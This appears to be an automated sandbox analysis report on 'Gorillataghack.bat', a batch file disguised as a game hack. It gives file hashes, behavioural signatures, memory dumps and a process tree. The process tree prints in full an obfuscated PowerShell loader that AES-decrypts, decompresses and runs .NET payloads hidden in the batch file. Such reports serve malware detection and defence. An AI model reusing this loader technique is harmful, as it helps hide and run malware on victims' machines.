Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    17-08-2024 01:34

General

  • Target

    Gorillataghack.bat

  • Size

    82KB

  • MD5

    0ad188366779a1805b951b1425a2d189

  • SHA1

    12d28ddc3bd166b0e39f698c2f3bdb5f549bbcd0

  • SHA256

    c47c18e4d651aa92dc1b73195fcb3732f65bc5d756e2be4d059c18302d4521f9

  • SHA512

    c0f727ba93ab84e515c6cbad121cf0b3a994a7ff9ca44aa74ec56a89fdd436f1b666f8fb0670f9ab4231a32d2baf683a6c36b45a300bfabd24171046ae2f5c8f

  • SSDEEP

    1536:ZIO65riaIdL6rVhkck+f7YChR1bSk4sUgG2Zc3LU:ZIOi4pCUh+fx9NHTGagI

Score
6/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Gorillataghack.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1864
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1692
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:860
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DbZ9tqJBVMVWIuUt+CFLVGJwPH4Yb6Ql+IH0apxvlrI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OdrwPh1XnJAG52TdN4OUwA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rixmV=New-Object System.IO.MemoryStream(,$param_var); $kPvjA=New-Object System.IO.MemoryStream; $QiHHr=New-Object System.IO.Compression.GZipStream($rixmV, [IO.Compression.CompressionMode]::Decompress); $QiHHr.CopyTo($kPvjA); $QiHHr.Dispose(); $rixmV.Dispose(); $kPvjA.Dispose(); $kPvjA.ToArray();}function execute_function($param_var,$param2_var){ $JleoC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uDalF=$JleoC.EntryPoint; $uDalF.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Gorillataghack.bat';$bGCOv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Gorillataghack.bat').Split([Environment]::NewLine);foreach ($LfoqO in $bGCOv) { if ($LfoqO.StartsWith(':: ')) { $hBxae=$LfoqO.Substring(3); break; }}$payloads_var=[string[]]$hBxae.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1464

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • memory/1464-4-0x000007FEF65AE000-0x000007FEF65AF000-memory.dmp

      Filesize

      4KB

    • memory/1464-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

      Filesize

      2.9MB

    • memory/1464-7-0x000007FEF62F0000-0x000007FEF6C8D000-memory.dmp

      Filesize

      9.6MB

    • memory/1464-8-0x000007FEF62F0000-0x000007FEF6C8D000-memory.dmp

      Filesize

      9.6MB

    • memory/1464-9-0x000007FEF62F0000-0x000007FEF6C8D000-memory.dmp

      Filesize

      9.6MB

    • memory/1464-6-0x0000000002860000-0x0000000002868000-memory.dmp

      Filesize

      32KB

    • memory/1464-11-0x000007FEF62F0000-0x000007FEF6C8D000-memory.dmp

      Filesize

      9.6MB

    • memory/1464-10-0x000007FEF62F0000-0x000007FEF6C8D000-memory.dmp

      Filesize

      9.6MB

    • memory/1464-12-0x000007FEF62F0000-0x000007FEF6C8D000-memory.dmp

      Filesize

      9.6MB